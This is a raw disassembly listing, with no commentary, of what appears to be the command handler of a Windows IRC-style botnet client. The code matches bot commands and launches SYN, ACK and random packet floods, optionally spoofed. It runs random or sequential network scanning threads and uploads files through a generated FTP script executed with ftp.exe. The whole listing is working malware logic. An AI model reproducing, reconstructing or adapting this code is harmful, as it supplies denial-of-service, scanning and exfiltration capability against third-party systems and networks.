		lea	eax, [ebp+var_C98]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_159C]
		push	eax
		push	esi
		call	dword_43A408
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_43A3D0
		push	esi
		call	dword_43A450
		call	dword_43A318
		lea	eax, [ebp+var_B94]
		push	eax
		push	offset dword_43520C

loc_40F704:				; CODE XREF: sub_40CE55+3A1Cj
					; sub_40CE55+3D07j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_40F713:				; CODE XREF: sub_40CE55+3A00j
					; sub_40CE55+3CABj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4124D6
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_4124D6
; ---------------------------------------------------------------------------

loc_40F73D:				; CODE XREF: sub_40CE55+2759j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F906
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F906
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41298E
		push	4
		push	esi
		call	sub_40C1FE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7DB
		push	esi
		push	offset dword_4351B0

loc_40F7A2:				; CODE XREF: sub_40CE55+2C63j
					; sub_40CE55+3219j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_40F7B1:				; CODE XREF: sub_40CE55+2C47j
					; sub_40CE55+31FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	[ebp+var_4]

loc_40F7BE:				; CODE XREF: sub_40CE55+382Cj
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]

loc_40F7CE:				; CODE XREF: sub_40CE55+50D1j
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_41284E
; ---------------------------------------------------------------------------

loc_40F7DB:				; CODE XREF: sub_40CE55+2945j
		call	dword_42104C
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_415543
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415543
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415543
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_C9C]
		push	edx
		push	eax
		lea	eax, [ebp+var_B98]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_B98]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BE8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40D219
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415B96
		push	[ebp+arg_24]
		call	sub_415B40
		lea	eax, [ebp+var_B98]
		push	eax
		lea	eax, [ebp+var_3E4]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4154E7
		add	esp, 2Ch
		lea	eax, [ebp+var_3E4]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43A32C
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40F8A5
		push	offset dword_435134
		jmp	short loc_40F8AA
; ---------------------------------------------------------------------------

loc_40F8A5:				; CODE XREF: sub_40CE55+2A47j
		push	offset dword_4350F4

loc_40F8AA:				; CODE XREF: sub_40CE55+2A4Ej
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40F8D3
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_40F8D3:				; CODE XREF: sub_40CE55+2A60j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D

loc_40F8DF:				; CODE XREF: sub_40CE55+2AAFj
		lea	eax, [ebp+var_B98]
		push	4
		push	eax
		call	sub_40C1FE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D219
		lea	eax, [ebp+var_B98]
		push	eax
		call	sub_4178FC
		jmp	short loc_40F8DF
; ---------------------------------------------------------------------------

loc_40F906:				; CODE XREF: sub_40CE55+28F9j
					; sub_40CE55+2910j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_415A5F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406B1D
		jmp	loc_41298B
; ---------------------------------------------------------------------------

loc_40F934:				; CODE XREF: sub_40CE55+272Bj
					; sub_40CE55+2742j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_415910
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F997
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aAck	; "ack"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F997
		lea	eax, [ebp+var_680]
		push	eax
		push	offset aRandom	; "random"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F997
		push	offset dword_4350B8
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_40F997:				; CODE XREF: sub_40CE55+2B08j
					; sub_40CE55+2B1Fj ...
		push	[ebp+arg_10]
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_578], eax
		jle	loc_40FABD
		push	edi
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_700]
		push	esi
		push	eax
		call	sub_415A6A
		push	[ebp+arg_0]
		call	sub_415A5F
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_574], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_704], eax
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_574], ebx
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40FA2E
		mov	eax, offset aNormal ; "Normal"

loc_40FA2E:				; CODE XREF: sub_40CE55+2BD2j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_435060
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Ch
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_704]
		push	ebx
		push	eax
		push	offset sub_401BD6
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_40FAAC

loc_40FA96:				; CODE XREF: sub_40CE55+2C55j
		cmp	[ebp+var_568], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060
		jmp	short loc_40FA96
; ---------------------------------------------------------------------------

loc_40FAAC:				; CODE XREF: sub_40CE55+2C3Fj
		call	dword_421088
		push	eax
		push	offset dword_435014
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------

loc_40FABD:				; CODE XREF: sub_40CE55+2B53j
		push	offset dword_434FC8
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_40FAC7:				; CODE XREF: sub_40CE55+26E6j
					; sub_40CE55+26FDj ...
		cmp	dword_43A4A8, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_40FBCF
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		push	[ebp+arg_10]
		mov	[ebp+var_300], eax
		call	sub_415A5F
		push	7Fh
		mov	[ebp+var_2FC], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416D40
		push	[ebp+var_2FC]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_304]
		push	offset unk_434F6C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Eh
		push	eax
		call	sub_414F93
		add	esp, 48h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_40A217
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_40FBBE

loc_40FBAC:				; CODE XREF: sub_40CE55+2D67j
		cmp	[ebp+var_2E8], ebx
		jnz	short loc_40FBE8
		push	32h
		call	dword_421060
		jmp	short loc_40FBAC
; ---------------------------------------------------------------------------

loc_40FBBE:				; CODE XREF: sub_40CE55+2D55j
		call	dword_421088
		push	eax
		push	offset unk_434F20
		jmp	loc_41077A
; ---------------------------------------------------------------------------

loc_40FBCF:				; CODE XREF: sub_40CE55+2C7Bj
		push	1FFh
		lea	eax, [ebp+var_2C8]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416D40

loc_40FBE5:				; CODE XREF: sub_40CE55+3931j
		add	esp, 0Ch

loc_40FBE8:				; CODE XREF: sub_40CE55+2D5Dj
					; sub_40CE55+2EA4j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	[ebp+var_4]
		jmp	loc_411F18
; ---------------------------------------------------------------------------

loc_40FBFA:				; CODE XREF: sub_40CE55+26A1j
					; sub_40CE55+26B8j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_2EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		lea	eax, [ebp+var_384]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		push	[ebp+arg_10]
		mov	[ebp+var_300], eax
		call	sub_415A5F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_2FC], eax
		jz	short loc_40FC5F
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_2F8], eax
		jmp	short loc_40FC65
; ---------------------------------------------------------------------------

loc_40FC5F:				; CODE XREF: sub_40CE55+2DF9j
		mov	[ebp+var_2F8], ebx

loc_40FC65:				; CODE XREF: sub_40CE55+2E08j
		push	7Fh
		lea	eax, [ebp+var_404]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		push	[ebp+var_2FC]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_384]
		mov	[ebp+var_408], esi
		push	[ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_304]
		push	offset dword_434EAC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Fh
		push	eax
		call	sub_414F93
		add	esp, 30h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		push	offset sub_40A3A3
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_40FD09

loc_40FCF3:				; CODE XREF: sub_40CE55+2EB2j
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060
		jmp	short loc_40FCF3
; ---------------------------------------------------------------------------

loc_40FD09:				; CODE XREF: sub_40CE55+2E9Cj
		call	dword_421088
		push	eax
		push	offset dword_434E60
		jmp	loc_41077A
; ---------------------------------------------------------------------------

loc_40FD1A:				; CODE XREF: sub_40CE55+2673j
					; sub_40CE55+268Aj
		push	8
		call	sub_4151DB
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_415A5F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40FD6D
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2C8]
		push	offset dword_434E0C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C

loc_40FD65:				; CODE XREF: sub_40CE55+4330j
		add	esp, 20h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_40FD6D:				; CODE XREF: sub_40CE55+2EE1j
		push	edi
		call	sub_415A5F
		push	[ebp+arg_18]
		mov	[ebp+var_31C], eax
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_304], eax
		call	sub_415A5F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_318], eax
		jnb	short loc_40FDA6
		push	1
		pop	eax
		mov	[ebp+var_318], eax

loc_40FDA6:				; CODE XREF: sub_40CE55+2F46j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40FDB3
		mov	[ebp+var_318], ecx

loc_40FDB3:				; CODE XREF: sub_40CE55+2F56j
		push	[ebp+arg_10]
		call	sub_415A5F
		mov	[ebp+var_314], eax
		mov	eax, 1F4h
		cmp	[ebp+var_314], eax
		pop	ecx
		jbe	short loc_40FDD5
		mov	[ebp+var_314], eax

loc_40FDD5:				; CODE XREF: sub_40CE55+2F78j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_427338, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_40FE2B
		mov	[ebp+arg_24], offset dword_427338

loc_40FDEE:				; CODE XREF: sub_40CE55+2FB8j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FE11
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_40FDEE
		jmp	short loc_40FE2B
; ---------------------------------------------------------------------------

loc_40FE11:				; CODE XREF: sub_40CE55+2FAAj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427338[ecx]
		mov	[ebp+var_31C], ecx

loc_40FE2B:				; CODE XREF: sub_40CE55+2F90j
					; sub_40CE55+2FBAj
		cmp	[ebp+var_31C], ebx
		jz	loc_411C49
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40FE72
		cmp	byte ptr [edi],	23h
		jz	short loc_40FE72
		push	edi
		lea	eax, [ebp+var_430]
		push	10h
		push	eax
		call	sub_415A6A
		push	78h
		push	edi
		call	sub_417080
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_2F0], eax
		jmp	loc_40FF46
; ---------------------------------------------------------------------------

loc_40FE72:				; CODE XREF: sub_40CE55+2FEBj
					; sub_40CE55+2FF0j
		cmp	[ebp+var_9B3], bl
		jnz	short loc_40FE94
		cmp	[ebp+var_9B2], bl
		jnz	short loc_40FE94
		cmp	[ebp+var_9A2], bl
		jnz	short loc_40FE94
		push	offset dword_434DC0
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_40FE94:				; CODE XREF: sub_40CE55+3023j
					; sub_40CE55+302Bj ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43A35C
		mov	al, [ebp+var_9B3]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2D4], eax
		push	[ebp+var_2D4]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416D40
		add	esp, 0Ch
		cmp	[ebp+var_9A2], bl
		jz	short loc_40FF40
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_417040
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40FF34

loc_40FF12:				; CODE XREF: sub_40CE55+30DDj
		cmp	eax, ebx
		jz	short loc_40FF34
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_417040
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40FF12

loc_40FF34:				; CODE XREF: sub_40CE55+30BBj
					; sub_40CE55+30BFj
		mov	[ebp+var_2F0], 1
		jmp	short loc_40FF46
; ---------------------------------------------------------------------------

loc_40FF40:				; CODE XREF: sub_40CE55+3095j
		mov	[ebp+var_2F0], ebx

loc_40FF46:				; CODE XREF: sub_40CE55+3018j
					; sub_40CE55+30E9j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_415A6A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FF97

loc_40FF84:				; CODE XREF: sub_40CE55+3165j
		push	esi

loc_40FF85:				; CODE XREF: sub_40CE55+314Fj
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_40FFC2
; ---------------------------------------------------------------------------

loc_40FF97:				; CODE XREF: sub_40CE55+312Dj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40FFA6
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FFA6
		push	eax
		jmp	short loc_40FF85
; ---------------------------------------------------------------------------

loc_40FFA6:				; CODE XREF: sub_40CE55+3147j
					; sub_40CE55+314Cj
		mov	esi, offset dword_42C248
		push	offset byte_438FDC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF84
		mov	[ebp+var_3A0], bl

loc_40FFC2:				; CODE XREF: sub_40CE55+3140j
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FFD4
		mov	eax, offset aSequential	; "Sequential"

loc_40FFD4:				; CODE XREF: sub_40CE55+3178j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434D34
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_40799F
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_410062

loc_41004C:				; CODE XREF: sub_40CE55+320Bj
		cmp	[ebp+var_2EC], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060
		jmp	short loc_41004C
; ---------------------------------------------------------------------------

loc_410062:				; CODE XREF: sub_40CE55+31F5j
		call	dword_421088
		push	eax
		push	offset dword_434CE8
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------

loc_410073:				; CODE XREF: sub_40CE55+2633j
					; sub_40CE55+264Aj
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		cmp	byte_43F560[eax], bl
		jz	loc_41298E
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		push	[ebp+arg_18]
		add	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		lea	eax, [ebp+var_2C8]
		push	esi
		push	offset dword_434CDC
		push	eax
		call	sub_4154E7
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F554[eax]
		call	sub_412D4C
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43F348[eax], 73h
		jnz	loc_41298E
		push	esi
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F560
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"

loc_41015B:				; CODE XREF: sub_40CE55+3403j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C

loc_410180:				; CODE XREF: sub_40CE55+529Fj
		add	esp, 28h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_410188:				; CODE XREF: sub_40CE55+2605j
					; sub_40CE55+261Cj
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		cmp	byte_43F560[eax], bl
		jz	loc_41298E
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		push	[ebp+arg_18]
		add	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F554[eax]
		call	sub_412D4C
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43F348[eax], 73h
		jnz	loc_41298E
		push	esi
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F560
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_41015B
; ---------------------------------------------------------------------------

loc_41025D:				; CODE XREF: sub_40CE55+25D7j
					; sub_40CE55+25EEj
		push	edi
		call	dword_43A3F8
		push	[ebp+arg_18]
		mov	[ebp+var_460], eax
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_46C], eax
		call	sub_415A5F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_4EC]
		mov	[ebp+var_4F0], esi
		push	eax
		call	sub_416D40
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_458], edi
		push	[ebp+var_468]
		mov	[ebp+var_454], eax
		push	[ebp+var_46C]
		push	[ebp+var_460]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434C6C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_464], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_414569
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_464]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_41033F

loc_410329:				; CODE XREF: sub_40CE55+34E8j
		cmp	[ebp+var_450], ebx
		jnz	loc_411F0D
		push	32h
		call	dword_421060
		jmp	short loc_410329
; ---------------------------------------------------------------------------

loc_41033F:				; CODE XREF: sub_40CE55+34D2j
		call	dword_421088
		push	eax
		push	offset unk_434C1C
		jmp	loc_411EFE
; ---------------------------------------------------------------------------

loc_410350:				; CODE XREF: sub_40CE55+25A9j
					; sub_40CE55+25C0j
		push	edi
		call	sub_415A5F
		push	7Fh
		mov	[ebp+var_300], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416D40
		push	[ebp+arg_0]
		call	sub_415A5F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		mov	[ebp+var_40C], esi
		call	sub_415A6A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_304]
		lea	eax, [ebp+var_404]
		mov	[ebp+var_2F4], edi
		push	eax
		push	[ebp+var_300]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434BCC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	10h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_407BFE
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_410439

loc_410423:				; CODE XREF: sub_40CE55+35E2j
		cmp	[ebp+var_2EC], ebx
		jnz	loc_411F0D
		push	32h
		call	dword_421060
		jmp	short loc_410423
; ---------------------------------------------------------------------------

loc_410439:				; CODE XREF: sub_40CE55+35CCj
		call	dword_421088
		push	eax
		push	offset unk_434B78
		jmp	loc_411EFE
; ---------------------------------------------------------------------------

loc_41044A:				; CODE XREF: sub_40CE55+257Bj
					; sub_40CE55+2592j
		push	0FFh
		lea	eax, [ebp+var_788]
		push	edi
		push	eax
		call	sub_416D40
		push	0FFh
		lea	eax, [ebp+var_688]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	[ebp+arg_0]
		mov	[ebp+var_584], ebx
		call	sub_415A5F
		mov	[ebp+var_580], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4104A6
		push	10h
		push	ebx
		push	eax
		call	sub_416A89
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_4104AC
; ---------------------------------------------------------------------------

loc_4104A6:				; CODE XREF: sub_40CE55+363Bj
		mov	[ebp+var_578], ebx

loc_4104AC:				; CODE XREF: sub_40CE55+364Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_4104C3
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------

loc_4104C3:				; CODE XREF: sub_40CE55+365Dj
		mov	[ebp+var_57C], ebx

loc_4104C9:				; CODE XREF: sub_40CE55+366Cj
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
